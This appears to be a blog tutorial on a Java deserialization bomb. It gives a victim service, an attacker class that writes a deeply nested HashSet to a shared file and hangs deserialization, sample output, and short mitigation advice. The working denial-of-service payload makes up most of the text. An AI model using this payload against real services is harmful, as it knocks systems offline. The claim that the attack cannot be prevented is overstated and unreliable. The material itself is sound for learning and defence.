How to attack a Java application through serialization.

Object serialization is a very popular feature of Java since it allows converting a given object to a byte array which later can be written to a file or sent through the network to be deserialized on the other end, nevertheless, it always has been hardly criticized by security experts due to its implications.

It has been the entry point for many attacks over history, being one of the most famous around the year 2000 where their vulnerabilities were used to exploit lots of systems.

Today we are going to see how simple way to produce a quick DoS attack on a Java software the does serialization/deserialization through a method called <a href="https://en.wikipedia.org/wiki/Billion_laughs_attack">Deserialization bomb</a>

To do so we will use the below snippet of code to mimic a service that reads info from a serialized object.

package com.donhk;
import java.util.concurrent.TimeUnit;
public class App {
    private static final String path = "/tmp/serialized_object";
    public static void main(String[] args) throws InterruptedException {
        save();
        for (int i = 0; i < 15; i++) {
            TimeUnit.SECONDS.sleep(15);
            update();
        }
    }
    private static void update() {
        System.out.println("reading");
        final long a1 = System.nanoTime();
        Utilities.deserialize(path);
        final long b1 = System.nanoTime();
        System.out.println((b1 - a1) / 1000000 + " ms");
    }
    private static void save() {
        System.out.println("writing");
        final long a = System.nanoTime();
        Utilities.serialize(new StringBuilder("1"), path);
        final long b = System.nanoTime();
        System.out.println((b - a) / 1000000 + " ms");
    }
}
package com.donhk;
import java.util.HashSet;
import java.util.Set;
public class Attacker {
    public static void main(String[] args) {
        final String path = "/tmp/serialized_object";
        Set<Object> root = new HashSet<>();
        Set<Object> s1 = root;
        Set<Object> s2 = new HashSet<>();
        for (int i = 0; i < 100; i++) {
            Set<Object> t1 = new HashSet<>();
            Set<Object> t2 = new HashSet<>();
            t1.add("foo"); // Make t1 unequal to t2
            s1.add(t1);
            s1.add(t2);
            s2.add(t1);
            s2.add(t2);
            s1 = t1;
            s2 = t2;
        }
        System.out.println("Attacking ;)");
        Utilities.serialize(root, path);
    }
}
package com.donhk;
import java.io.*;
public class Utilities {
    private Utilities() {}
    public static void serialize(Object o, String path) {
        try (FileOutputStream fos = new FileOutputStream(path);
             ObjectOutputStream oos = new ObjectOutputStream(fos);) {
            oos.writeObject(o);
        } catch (IOException e) {
            throw new IllegalStateException();
        }
    }
    public static Object deserialize(String path) {
        try (FileInputStream fis = new FileInputStream(path);
             ObjectInputStream ois = new ObjectInputStream(fis);) {
            return ois.readObject();
        } catch (IOException | ClassNotFoundException e) {
            throw new IllegalStateException();
        }
    }
}

Running the simulation

If we execute App.java class it writes an object and proceeds to read it back 15 times (just like a remote RMI poll)

22 ms
reading
23 ms
reading
0 ms

if in between those reads we (as the attacker) can corrupt the message content replacing the message by the content written by that attack code which is about 5.7kb the read operation will be compromised.

Executing Attacker.java

Attacking ;)

then App.java is gone, it will get stuck on the deserialization step 🔥🔥🔥

Why?

Deserializing a HashSet requires computing the hash codes of its elements.

In this case, the two elements of the root hash set are hashes containing 2 hash sets where each one of them will contain 2 hash sets and son for 100 levels, in other words, the hashCode gets called 2^100 times.

How to prevent this attack?

There is no way to prevent it 💁, just don’t use serialization or if you are going to use it make sure you trust the source.

One thing to mitigate this problem is applying filters to the data you are reading java.io.ObjectInputFilter available since Java 9.

The best way to avoid this saving the state of the objects in another format such as json or xml.

#freeSong